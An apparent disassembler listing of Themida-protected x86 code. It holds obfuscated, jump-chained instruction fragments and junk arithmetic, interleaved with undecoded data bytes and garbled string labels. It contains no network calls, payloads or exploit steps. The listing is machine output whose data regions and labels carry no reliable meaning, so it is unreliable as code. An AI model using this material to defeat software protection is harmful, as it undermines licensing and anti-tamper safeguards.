loc_55C2D1: ; CODE XREF: Themida_:0055BE3Dj
mov eax, esp
push ebp
mov ebp, 74A75119h
jmp loc_560EA9
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 5C241487h, 0FF7D15E9h, 0C3315DFFh, 0B60F66h, 2CB368h
dd 241C8900h, 2434FF54h, 3C9E9h, 35EE8100h, 1065B20h, 8BC4E9C6h
dd 0B4500000h, 60B195h, 0AEE958E1h
db 62h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C31F: ; CODE XREF: Themida_:00554277j
mov [esp], eax
jmp loc_562852
; ---------------------------------------------------------------------------
db 81h
dd 42404h, 0E95A0000h, 7819h, 0FF4676E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C339: ; CODE XREF: Themida_:00553D32j
add ebp, 2
jmp loc_55AAD2
; ---------------------------------------------------------------------------
loc_55C341: ; CODE XREF: Themida_:0055DD9Bj
add esp, 4
add esp, 4
jmp loc_56329B
; ---------------------------------------------------------------------------
db 0B9h
dd 2E9B3BBCh, 0FE91E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C35A: ; CODE XREF: Themida_:0055F161j
add ebp, 0A656C135h
jmp loc_5581FE
; ---------------------------------------------------------------------------
loc_55C365: ; CODE XREF: Themida_:00559934j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_564949
; ---------------------------------------------------------------------------
dd 0AB468h, 24048900h, 1DE5BA52h, 0C2812604h, 43D031EEh
dd 0E906EAC1h, 28E1h, 43E9E821h, 56FFFF63h, 4BEh, 8BF00100h
dd 0C4812434h, 4, 0E902C083h, 87D6h
; ---------------------------------------------------------------------------
loc_55C3B4: ; CODE XREF: Themida_:0055FB53j
mov [esp], ebp
push 5751h
mov [esp], edx
push esi
mov esi, 47093E1Ah
jmp loc_564D57
; ---------------------------------------------------------------------------
loc_55C3CA: ; CODE XREF: Themida_:005650B5j
add edx, 4
jmp loc_550C7D
; ---------------------------------------------------------------------------
loc_55C3D2: ; CODE XREF: Themida_:00561053j
pop edi
add ebx, edx
push ecx
mov ecx, 7C4A7217h
jmp loc_551F44
; ---------------------------------------------------------------------------
dd 4BD55h, 0EE010000h, 2434875Dh, 657AE95Ch, 487FFFFh
dd 0FAE95C24h, 0F7000082h, 9235E9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C402: ; CODE XREF: Themida_:005620E6j
mov eax, 0F5C4C2C6h
xor edi, eax
pop eax
add ecx, edi
pop edi
push edx
mov edx, ecx
mov eax, edx
pop edx
pop ecx
shl eax, cl
jmp loc_555391
; ---------------------------------------------------------------------------
loc_55C41B: ; CODE XREF: Themida_:0055972Fj
push 3E19h
mov [esp], esi
jmp loc_559247
; ---------------------------------------------------------------------------
dd 5158C788h, 5352F988h, 0FE88CF88h, 9CE2E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C43A: ; CODE XREF: Themida_:005522F9j
push esp
pop ecx
add ecx, 4
push ebp
jmp loc_554270
; ---------------------------------------------------------------------------
dd 5357BA52h, 0B951063Bh, 14A32CBAh, 8159CB29h, 983DD1C3h
dd 81D3012Dh, 983DD1EBh, 0BAC3812Dh, 5A14A32Ch, 4509EB81h
dd 4DE9574Dh, 55FFFFE8h, 9672E952h, 248BFFFFh, 1C770924h
dd 6D71E95Eh, 20E90000h
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C48F: ; CODE XREF: Themida_:00554914j
mov eax, 4
add ecx, 4844396Eh
add ecx, eax
sub ecx, 4844396Eh
pop eax
jmp loc_55A979
; ---------------------------------------------------------------------------
dd 0D44CDAB8h, 0E9C70149h, 1198h, 8395C780h, 896602ECh
dd 0BBB5240Ch, 51E9EF30h
db 7Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C4C7: ; CODE XREF: Themida_:00553D11j
add esi, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5562FC
; ---------------------------------------------------------------------------
db 1, 0F0h, 5
dd 3B8552DDh, 2404335Eh, 0FF616CE9h, 240C89FFh, 1E9E189h
dd 81000065h, 254DF7E6h, 4EC6811Ah, 89193F09h, 19EBE9F3h
dd 0D8280000h, 8368FE04h, 89000049h, 0EC81241Ch, 4, 0B4240489h
dd 30B6B75Ah, 80FCE9E7h
db 2 dup(0FFh)
word_55C52E dw 34FFh ; DATA XREF: Themida_:0055085Co
dd 24048B24h, 4C481h, 0F2E90000h
db 2Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C53F: ; CODE XREF: Themida_:00561A3Fj
movzx eax, ax
jmp loc_561D8E
; ---------------------------------------------------------------------------
loc_55C547: ; CODE XREF: Themida_:00559CA5j
pop esp
pop dword ptr [esp]
jmp loc_557D6B
; ---------------------------------------------------------------------------
loc_55C550: ; CODE XREF: Themida_:005599E3j
pop edi
pop ebp
add esi, edi
jmp loc_56547E
; ---------------------------------------------------------------------------
db 5Ah, 50h, 0B8h
dd 49B129E8h, 8158C201h, 0B232FDC2h, 9B8BE9E7h, 408FFFFh
dd 38E99C24h, 0B8FFFF44h, 7DED348Dh, 5207E8C1h, 2EEAE9h
db 0
; ---------------------------------------------------------------------------
loc_55C585: ; CODE XREF: Themida_:00551E6Dj
pop bp
jmp loc_56137E
; ---------------------------------------------------------------------------
dd 57241489h, 0D0076EBFh, 1E1BBA64h, 0FA297C4Ch, 5E2C15Fh
dd 0FFA50BE9h, 242C87FFh, 0E924248Bh, 0FFFF43FFh, 89E95F5Fh
db 7Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C5B7: ; CODE XREF: Themida_:00553C36j
mov edi, 6FE57301h
sub edi, 3BB536D8h
jmp loc_554C1B
; ---------------------------------------------------------------------------
aISpb db '┴<$ИpB',0
db 0
; ---------------------------------------------------------------------------
loc_55C5CF: ; CODE XREF: Themida_:00558D35j
pop ebp
sub esi, 0A5376FEh
push eax
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5573B3
; ---------------------------------------------------------------------------
aTse db 'яБИ╔"',0
dw 0E900h
dd 0FFFF43B7h
; ---------------------------------------------------------------------------
loc_55C5F8: ; CODE XREF: Themida_:005516BDj
mov esi, ebx
push edi
push ebx
push 1B69h
jmp loc_563473
; ---------------------------------------------------------------------------
dw 0C87h
db 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5594A6
; ---------------------------------------------------------------------------
loc_55C612: ; CODE XREF: Themida_:00559EE7j
push ecx
mov ecx, 4A7D602Fh
dec ecx
xor ecx, 4A7D602Ah
add ebp, ecx
pop ecx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
mov ebx, 2
add eax, 3D8D47ECh
jmp loc_551930
; ---------------------------------------------------------------------------
dw 487h
dd 14895C24h, 59B8BA24h, 0C6E91056h, 89FFFFC1h, 4C381E3h
dd 83000000h, 1C8704C3h, 0B8505C24h, 101972EDh, 0B9252025h
dd 40D8F730h, 3F9BF57h, 0F8096D6Eh, 5432055Fh, 0D2E92E3Bh
dd 8B000094h, 25E92424h, 5CFFFF63h, 3FAAE9h
db 0
; ---------------------------------------------------------------------------
loc_55C68D: ; CODE XREF: Themida_:00553F2Bj
push ebx
mov ebx, esp
add ebx, 4
jmp loc_561917
; ---------------------------------------------------------------------------
db 51h
dd 3920FA68h, 0F1E9591Fh, 91FFFFE3h, 2414F751h, 0F3E99159h
db 7Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C6B3: ; CODE XREF: Themida_:0055EA10j
add esp, 4
add ebp, ebx
pop ebx
pop eax
add ebp, 2
xchg ebp, [esp]
mov esp, [esp]
idiv cl
movzx cx, ah
jmp loc_553046
; ---------------------------------------------------------------------------
dw 1C8Bh
dd 4C48124h, 68000000h, 6283h, 0FFCA8DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C6E1: ; CODE XREF: Themida_:00559C6Ej
sub esp, 4
jmp loc_55F610
; ---------------------------------------------------------------------------
loc_55C6EC: ; CODE XREF: Themida_:0055F6E7j
push ebp
mov ebp, 1C3164E9h
and esi, ebp
pop ebp
push 92Ah
mov [esp], ebx
mov ebx, 778F309Ah
shl ebx, 2
dec ebx
jmp loc_559882
; ---------------------------------------------------------------------------
db 68h
dd 4, 0FFC3815Dh, 16BF22Bh, 0DEBE56EBh, 0E93B4B20h, 8B21h
; ---------------------------------------------------------------------------
loc_55C724: ; CODE XREF: Themida_:0055B0DFj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_557D82
; ---------------------------------------------------------------------------
loc_55C731: ; CODE XREF: Themida_:0055F563j
not ecx
shl ecx, 4
not ecx
jmp loc_55FCC0
; ---------------------------------------------------------------------------
db 1, 0D8h, 5Bh
dd 0E9240487h, 0FFFFD2CCh
; ---------------------------------------------------------------------------
loc_55C748: ; CODE XREF: Themida_:00564792j
mov edi, [esp]
push 134Bh
mov [esp], ebx
push esp
jmp loc_5582A4
; ---------------------------------------------------------------------------
loc_55C759: ; CODE XREF: Themida_:00557298j
add esp, 4
mov eax, ebp
mov ebp, [esp]
add esp, 4
push edi
push 2959h
mov [esp], esp
add dword ptr [esp], 4
pop edi
sub esp, 4
mov [esp], ebp
mov ebp, 47C126B4h
jmp loc_560CB5
; ---------------------------------------------------------------------------
db 88h
dd 0CCFE5AF4h, 5866E188h, 80F3F180h, 0E2040EE9h, 0EC83C828h
dd 0C896602h, 0C0F4B524h, 536607E5h, 471EE9h
db 0
byte_55C7B1 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:005508E4o
dd 31686602h, 489664Eh, 24EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55C7C2: ; CODE XREF: Themida_:0055CD08j
sub edi, ecx
pop ecx
add edi, 57939F5h
pop esi
xchg edi, [esp]
mov esp, [esp]
push 325Ah
mov [esp], ecx
jmp loc_55DD35
; ---------------------------------------------------------------------------
db 31h
dd 0EA815EF2h, 3CA211FCh, 6804E2C1h, 2E19h, 0F7241489h
dd 5EE92414h, 80FFFFFDh, 0D3282DEBh, 0E92DC380h, 197Dh
dword_55C808 dd 0DD885166h, 2245C8Ah, 2246C88h, 53525966h, 0FA88EF88h
; DATA XREF: Themida_:00550878o
dd 88DD885Bh, 0D5F65AD3h, 88EA8852h, 0D9F1E9DDh
db 2 dup(0FFh)
word_55C82E dw 8B66h ; DATA XREF: Themida_:00550714o
dd 0E951240Ch, 0FFFF94FEh, 0C104C483h, 0DAF703EAh, 0FF57A3E9h
dd 8BC589FFh, 0C4832404h, 65F2E904h, 0C4810000h, 4, 53BDE956h
dd 0C8BFFFFh, 0E6895624h, 4C681h, 0C6830000h, 24348704h
dd 7C58E95Ch, 4830000h, 83E90424h, 5EFFFFDAh, 2C1BE681h
dd 0EE815793h, 341CB4DCh, 0FF75E7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C891: ; CODE XREF: Themida_:00556348j
push edx
push esp
jmp loc_552706
; ---------------------------------------------------------------------------
dd 8956C300h, 4C681E6h, 83000000h, 343304EEh, 24343124h
dd 5C243433h, 0FFCB69E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55C8B5: ; CODE XREF: Themida_:0055DC3Aj
push dword ptr [esp]
jmp loc_55422D
; ---------------------------------------------------------------------------
loc_55C8BD: ; CODE XREF: Themida_:00558A73j
pop esp
add esp, 4
jmp loc_562FE3
; ---------------------------------------------------------------------------
loc_55C8C9: ; CODE XREF: Themida_:005603A0j
pop edx
jmp loc_551755
; ---------------------------------------------------------------------------
loc_55C8CF: ; CODE XREF: Themida_:00559D50j
add ebp, 0FFFFFFFFh
add ebp, 77FC7896h
jmp loc_559DD8
; ---------------------------------------------------------------------------
loc_55C8DD: ; CODE XREF: Themida_:00552563j
push 2A1Dh
mov [esp], ecx
mov ecx, 0F2B83599h
add eax, ecx
pop ecx
sub edx, eax
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, edx
jmp loc_553884
; ---------------------------------------------------------------------------
dw 0E945h
dd 0FFFF410Eh, 4C381h, 23680000h, 0E9000066h, 0FFFFB0E9h
dd 8095F280h, 0DE95DEAh
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C93B: ; CODE XREF: Themida_:00554145j
add esp, 4
jmp loc_55A247
; ---------------------------------------------------------------------------
db 33h
dd 0B9E92404h, 8700002Dh, 585C241Ch, 9243E9h, 0FA895F00h
dd 5F91E9h
db 0
; ---------------------------------------------------------------------------
loc_55C95D: ; CODE XREF: Themida_:00565B89j
mov edi, edx
pop edx
pop ebx
push edx
jmp loc_5563DF
; ---------------------------------------------------------------------------
db 50h
dd 31231B8h, 8150532Eh, 17E12404h, 69E92C8Fh
db 0C7h, 2 dup(0FFh)
byte_55C97B db 66h ; DATA XREF: Themida_:00550874o
dd 5524048Bh, 0BE565D54h, 4, 254FC581h, 0C5811DA2h, 387124BEh
dd 191EED81h, 0F5013D1Ah, 191EC581h, 0ED813D1Ah, 387124BEh
dd 54C7B951h, 0E9570321h, 3C67h, 0E9242489h, 60F6h, 0C530D9B0h
dd 0EDC05866h, 9E7CE906h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55C9CA: ; CODE XREF: Themida_:00553284j
pop esp
mov [esp], eax
jmp loc_564661
; ---------------------------------------------------------------------------
db 81h
dd 0CC54B9F2h, 5AD721C4h, 70F9CF81h, 0CF876780h, 415AE9h
dd 8BF13100h, 0C4832434h, 80E18104h, 8168D353h, 320167E9h
dd 51BEE9F9h, 5E58FFFFh, 4C7EE9h, 0E95B6600h, 0FFFFC145h
dd 0FF3F9AE9h, 243C8BFFh, 0D04C483h, 6D184DAAh, 0D8234C2Dh
dd 58C58941h, 45E9E5D1h, 5EFFFFD0h, 4EEE9h, 24348B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
mov eax, esp
add eax, 4
add eax, 4
push 3377h
mov [esp], eax
push dword ptr [esp+4]
push dword ptr [esp]
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_555150
; ---------------------------------------------------------------------------
loc_55CA74: ; CODE XREF: Themida_:005643A8j
pop edx
add esi, 354059B9h
push 757Eh
jmp loc_5626D8
; ---------------------------------------------------------------------------
aQtysq db 'QTYИ÷',0Ah,0
dd 0B9514E00h, 196533CBh, 0C8BCE09h, 4C48324h, 0FFFBF681h
dd 0BA68FDFFh, 8900002Ah, 0E2892414h, 4C281h, 0EA810000h
dd 4, 9F3CE952h, 5652FFFFh, 17325068h, 24348B01h, 4C481h
dd 0F2890000h, 8B2434FFh, 0C4812434h, 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
xchg ebp, edx
neg ebp
xor edx, ebp
xor ebp, edx
xor edx, ebp
jmp loc_553D16
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F580424h, 248B2404h, 4EC8124h, 0E9000000h, 0FFFFB9DBh
dd 89243C89h, 4C781E7h, 0E9000000h, 0FFFF702Fh, 0A199C181h
dd 0CB0905E2h, 4BEB8159h, 4B4BB210h, 11A0E9h
db 0
; ---------------------------------------------------------------------------
loc_55CB41: ; CODE XREF: Themida_:00554CD3j
mov [esp], edi
mov edi, 762F60C2h
jmp loc_55D9CA
; ---------------------------------------------------------------------------
loc_55CB4E: ; CODE XREF: Themida_:005516CAj
add ebx, 35501844h
dec ebx
or ebx, 29013197h
not ebx
push ebp
jmp loc_552DF5
; ---------------------------------------------------------------------------
loc_55CB63: ; CODE XREF: Themida_:00559506j
push 7DD1h
mov [esp], ecx
push ebp
mov ebp, 1D3F3291h
or ebp, 58454D54h
sub ebp, 0ACB703Ch
jmp loc_551471
; ---------------------------------------------------------------------------
loc_55CB82: ; CODE XREF: Themida_:0055D3C3j
add esp, 4
add edx, 1
jmp loc_559CE7
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd offset dword_4F6844+724h
dd 24048900h, 86685854h, 0E9000046h, 7DFCh, 0BB241C89h
dd 4, 4245C01h, 0E9241C8Bh, 0FFFFC4B0h, 3542C381h, 34FF6935h
dd 68F2E924h, 0C4810000h, 4, 8B24048Fh, 3CD32424h, 0D4E99C24h
db 3Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CBDB: ; CODE XREF: Themida_:00557714j
sub esi, edx
add esi, 3BBA4522h
pop edx
xor esi, 4B590B62h
jmp loc_555363
; ---------------------------------------------------------------------------
db 51h
dd 0FF809DE9h, 383905FFh, 0F8012B2Bh, 0FF96DEE9h, 44E950FFh
db 9Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CC07: ; CODE XREF: Themida_:00554122j
sub ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
mov [esp], esp
jmp loc_55D0F5
; ---------------------------------------------------------------------------
dd 4055854h, 0E9000000h, 0FFFFA89Eh
; ---------------------------------------------------------------------------
loc_55CC30: ; CODE XREF: Themida_:0055D6C5j
xor edx, 8068C894h
xor edi, edx
pop edx
add edi, 0FFFFFFFFh
jmp loc_55EBF4
; ---------------------------------------------------------------------------
db 0FEh, 0C0h, 4
dd 41C3E9F9h
db 2 dup(0FFh)
word_55CC4A dw 68ADh ; DATA XREF: Themida_:00550824o
dd 1AE6h, 0FF6360E9h, 243C8BFFh, 4C481h, 2C8B0000h, 4C48324h
dd 685BD831h, 3D77h, 83243C89h, 148904ECh, 5DE95124h, 0FF000014h
dd 0E9042474h, 0FFFF9EABh
; ---------------------------------------------------------------------------
loc_55CC84: ; CODE XREF: Themida_:00558407j
xor dword ptr [esp], 5AFB7A9Eh
pop edx
xor edx, 5AFB7A9Eh
pop ebx
push eax
push ecx
jmp loc_56178F
; ---------------------------------------------------------------------------
dw 555Ah
dd 0EA7E9h
db 0
; ---------------------------------------------------------------------------
loc_55CCA1: ; CODE XREF: Themida_:0055904Fj
add ebx, 2
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov cx, [esp]
push 17BAh
mov [esp], ecx
push ebx
jmp loc_552052
; ---------------------------------------------------------------------------
loc_55CCC2: ; CODE XREF: Themida_:005518A9j
and eax, 6A175016h
dec eax
and eax, 20CC52D3h
not eax
inc eax
add eax, 417E7788h
sub edx, eax
jmp loc_5631E0
; ---------------------------------------------------------------------------
dd 25B8EA81h, 0EA81651Ah, 4AB01837h, 0C281FA01h, 4AB01837h
dd 5F7AB850h, 3E05130Eh, 0E9520BC6h, 36EDh
; ---------------------------------------------------------------------------
loc_55CD00: ; CODE XREF: Themida_:0055A2A2j
add edi, esi
push ecx
mov ecx, 28F626A4h
jmp loc_55C7C2
; ---------------------------------------------------------------------------
db 53h, 2 dup(0BBh)
dd 5230647Eh, 0BC5418BAh, 6781E95Ah, 56B10000h, 2847E980h
dd 8E6859CAh, 8900000Ch, 7BB7241Ch, 0C004E7C0h, 0CFFE06EFh
dd 9E28E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55CD3E: ; CODE XREF: Themida_:0055391Cj
push ebx
jmp loc_55E85B
; ---------------------------------------------------------------------------
dd 6BC8C781h, 0FE01BD03h, 0FFF5015Fh, 348B2434h, 4C48324h
dd 6F7EE9h, 240C8B00h, 2904C483h, 5EB3E9D1h, 0C4810000h
dd 4, 6DC7F681h, 0B95152B9h, 6A8E13BDh, 0C8BCE31h, 0E2895224h
dd 4C281h, 0C3E90000h, 29FFFF9Ch, 0E90158C1h, 77FCC181h
dd 2C8B7088h, 75CAE924h, 8B680000h, 89000002h, 2CB82404h
dd 0E9553322h, 7FDAh
; ---------------------------------------------------------------------------
loc_55CDB4: ; CODE XREF: Themida_:00555567j
shl edi, 4
jmp loc_554A2D
; ---------------------------------------------------------------------------
dd 592FBDBDh, 0D4F5813Bh, 811E9814h, 0FFFFFFC5h, 4E5C1FFh
dd 471ECD81h, 0ED81521Ch, 301CE56Dh, 625AEB81h, 0EB013656h
dd 10D6BF57h, 0DFF70453h, 8CD0EF81h, 0FB01C556h, 8064E95Fh
dd 0C5810000h, 4, 0E904C583h, 7CFh, 4C56E952h, 5D54FFFFh
dd 4C581h, 0C5810000h, 4, 0FF6D56E9h, 81E389FFh, 4C3h
dd 877CE900h
db 2 dup(0FFh)
word_55CE2E dw 68ADh ; DATA XREF: Themida_:00550804o
dd 16E4h, 0FF5A9BE9h, 0E8C281FFh, 812DFF25h, 0E1B508EAh
dd 5AD10127h, 215EB81h, 0CB295AF7h, 215C381h, 0C8B5AF7h
dd 4C48124h, 8B000000h, 6E92434h, 57FFFFF4h, 875849BFh
dd 0A7B9BA31h, 0FA01CE78h, 7058E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CE7A: ; CODE XREF: Themida_:0055B4ABj
pop eax
not dh
and dh, 0D5h
sub esp, 4
mov [esp], ecx
mov cl, 94h
sub cl, 9Dh
sub cl, 0A4h
sub cl, 0Ah
jmp loc_555009
; ---------------------------------------------------------------------------
aVho db 'VhO)',0
align 4
dd 52242489h, 0FF6BE0E9h, 0E9D3F6FFh, 16DDh, 80C30058h
dd 5856C3h, 0B25250C3h, 8BD488D0h, 0C4832414h, 7195E904h
dd 0EE810000h, 18F7E535h, 24E9F789h, 66FFFFDAh, 280EB252h
dd 0E95A66D0h, 0FFFFEE48h, 0C158C329h, 0D3F705E3h, 7B5BC381h
dd 0DBE95893h, 52FFFFC5h, 0C281E289h, 4, 4EA81h, 14870000h
dd 24248B24h, 54240C89h, 4E95759h, 5100003Bh, 3C56E9h
dd 4B900h, 59E90000h, 31000047h, 8A31E9E8h, 0E953FFFFh
dd 71E9h
; ---------------------------------------------------------------------------
loc_55CF30: ; CODE XREF: Themida_:0056178Aj
mov ebp, 6F0D5D08h
sub ebp, 4F105BE1h
not ebp
add ebp, 37365172h
jmp loc_55D70E
; ---------------------------------------------------------------------------
dd 206C6852h, 0E95A7841h, 0E0Ch, 4C181h, 0BE90000h, 58FFFF81h
dd 8247C01h, 9D0E9h
db 0
; ---------------------------------------------------------------------------
loc_55CF69: ; CODE XREF: Themida_:0055C12Aj
pop ebx
mov edi, [esp]
sub esp, 4
mov [esp], ecx
push esp
jmp loc_551281
; ---------------------------------------------------------------------------
aAVhi db '─цvhI>',0
align 4
dd 68240489h, 0EC4h, 0B2241489h, 17B050D2h, 0FFF1A4E9h
dd 0E1C141FFh, 81D1F705h, 18EADE9h, 59CA29DCh, 5DD8C281h
dd 0FAE903CCh
db 73h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55CFB3: ; CODE XREF: Themida_:00562FD7j
add edi, 3C8533BCh
pop ebp
add edi, 4
jmp loc_55414A
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
dd 8B04C483h, 25E9241Ch, 5CFFFF97h, 3AB3E9h, 24343300h
dd 0FFA673E9h, 4B850FFh, 1000000h, 348758C6h, 24248B24h
dd 8B243C87h, 1C892424h, 515B5424h, 468h, 0CB015900h, 81240C8Bh
dd 4C4h, 0E1895100h, 4C181h, 0E9570000h, 0FFFF9A6Eh
dword_55D01C dd 24048B66h, 72A068h, 243C8900h, 2434FF54h, 0E189515Fh
; DATA XREF: Themida_:00550964o
dd 34B95156h, 0BE45A776h, 45A77638h, 7E22EE81h, 0CE292BEBh
dd 7E22C681h, 57592BEBh, 607207BFh, 0D3E78138h, 813B6C72h
dd 18F8EBEFh, 0C6E981CFh, 0E9045D23h, 5146h, 4EE81h, 0DB680000h
dd 89000056h, 74FF2434h, 348B0424h, 4C48124h, 8F000000h
dd 895C2404h, 8EB1240Ch, 6866DEB7h, 0DE965E7h, 53000039h
dd 8817E9h, 1819B900h, 0CA0162CCh, 0FF50E2E9h, 51D6F6FFh
dd 0C9FE06B1h, 0E904E1C0h, 0FFFF84C2h, 4347B850h, 0FDE930F7h
dd 83FFFF4Fh, 0C48304C4h, 24048F04h, 2404005Ch, 4F89E99Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D0D6: ; CODE XREF: Themida_:00552ED0j
mov ecx, esp
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
sub ecx, 4
jmp loc_561BAF
; ---------------------------------------------------------------------------
loc_55D0E9: ; CODE XREF: Themida_:005648A4j
pop edx
xor edx, 3C90145Bh
jmp loc_562C03
; ---------------------------------------------------------------------------
loc_55D0F5: ; CODE XREF: Themida_:0055CC1Fj
add dword ptr [esp], 4
jmp loc_5607E7
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 42474FFh, 8324048Bh, 48F04C4h, 24248B24h, 64BD6857h
dd 15F0207h, 0FF04247Ch, 685F2434h, 279h, 68242C89h, 295Ch
dd 83242489h, 5D042404h, 0FFFCBDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D13D: ; CODE XREF: Themida_:0055A21Aj
pop ebp
add esp, 4
add esp, 4
push edi
sub esp, 4
mov [esp], ecx
push ebp
mov ebp, 4FE14B1Fh
mov ecx, ebp
jmp loc_559798
; ---------------------------------------------------------------------------
dw 8E2Ch
dd 0DEE9D800h
db 3Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D167: ; CODE XREF: Themida_:00553B9Cj
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 26E9h
mov [esp], edx
push 6F88h
mov [esp], esp
push eax
push 4
pop eax
add [esp+4], eax
jmp loc_559D55
; ---------------------------------------------------------------------------
loc_55D194: ; CODE XREF: Themida_:0055B947j
xor [esp], ebp
xor ebp, [esp]
pop esp
mov [esp], eax
mov eax, 4F7274F5h
jmp loc_55D301
; ---------------------------------------------------------------------------
dd 81241C8Bh, 4C4h, 3EBC100h, 8103EBC1h, 48C097F3h, 0E9DA8901h
dd 0FFFF6523h, 0BE243489h, 2, 0D27D4605h, 542CE902h, 0ACB8FFFFh
dd 4810411Dh, 25FFC083h, 41E97464h, 25643805h, 58C50132h
dd 594DE9h, 24048F00h, 431665Ch, 0B0E99C24h
db 37h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D1FF: ; CODE XREF: Themida_:00552591j
pop edx
jmp loc_564127
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0BD242C89h, 2, 335DEA01h, 14312414h, 24143324h, 0E924248Bh
dd 297Fh, 94F7E958h, 0EC81FFFFh, 4, 0FF60A9E9h, 4EC81FFh
dd 0E9000000h, 7AD9h
dword_55D240 dd 24048B66h ; DATA XREF: Themida_:005507E0o
db 56h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_551D7E
; ---------------------------------------------------------------------------
aVsl8 db '\VИl8',0
align 10h
dd 5CAABE56h, 0EE81726Ch, 65E0D19h, 3B9BE9h, 2E7C100h
dd 1871E9h, 5E5C100h, 53C6E956h, 0FB29FFFFh, 1467BA52h
dd 43E95540h, 0BBFFFFACh, 0AFF2A8FDh, 0FF9B16E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D299: ; CODE XREF: Themida_:00555F18j
mov ecx, 4
add ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
add edx, 4
xchg edx, [esp]
pop esp
and [esp], eax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55D2B8: ; CODE XREF: Themida_:005577ADj
add esp, 4
push 7B35h
mov [esp], ebx
push 75EEh
mov [esp], edx
push 6AE1h
mov [esp], ebx
jmp loc_5603A5
; ---------------------------------------------------------------------------
loc_55D2DB: ; CODE XREF: Themida_:0055E278j
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
push 11C2h
mov [esp], edx
jmp loc_563FE3
; ---------------------------------------------------------------------------
dw 3C89h
dd 52E78924h, 0FF3FA4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D301: ; CODE XREF: Themida_:0055D1A3j
push edx
jmp loc_55FC2C
; ---------------------------------------------------------------------------
db 0B8h
dd 6891D45h, 0FFFBCFE9h, 0E9E189FFh, 3BF1h, 4BE56h, 0F0010000h
dd 0FF9AB7E9h, 247401FFh, 2C815E04h, 0A355A524h, 4E6FE96Ch
dd 489FFFFh, 1B3DB824h, 0E94BE6h, 51FFFFE7h, 0F18077B1h
dd 0E9C88849h, 0FFFF866Eh
dword_55D350 dd 0BF5753ADh, 1740307h, 7FD0EF81h, 0D7F76CC9h, 0FFA6CDE9h
; DATA XREF: Themida_:00550920o
dd 2474FFFFh, 48F5804h, 24248B24h, 0F2D9E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D376: ; CODE XREF: Themida_:00551D4Ej
add ch, 5Eh
sub ch, 89h
sub ch, bh
add ch, 89h
sub ch, 5Eh
pop ebx
mov bl, ch
pop ecx
not bl
or bl, 3Fh
or bl, 0C9h
jmp loc_550FE0
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 0CCE9242Ch
db 49h, 2 dup(0FFh)
byte_55D3A3 db 0FFh ; DATA XREF: Themida_:005507E8o
dd 589D1C77h, 9C240411h, 0FF35FEE9h, 0E9D589FFh, 0FFFFD322h
; ---------------------------------------------------------------------------
loc_55D3B8: ; CODE XREF: Themida_:00556BC5j
xor ebp, 0D821D71h
mov edx, ebp
mov ebp, [esp]
jmp loc_55CB82
; ---------------------------------------------------------------------------
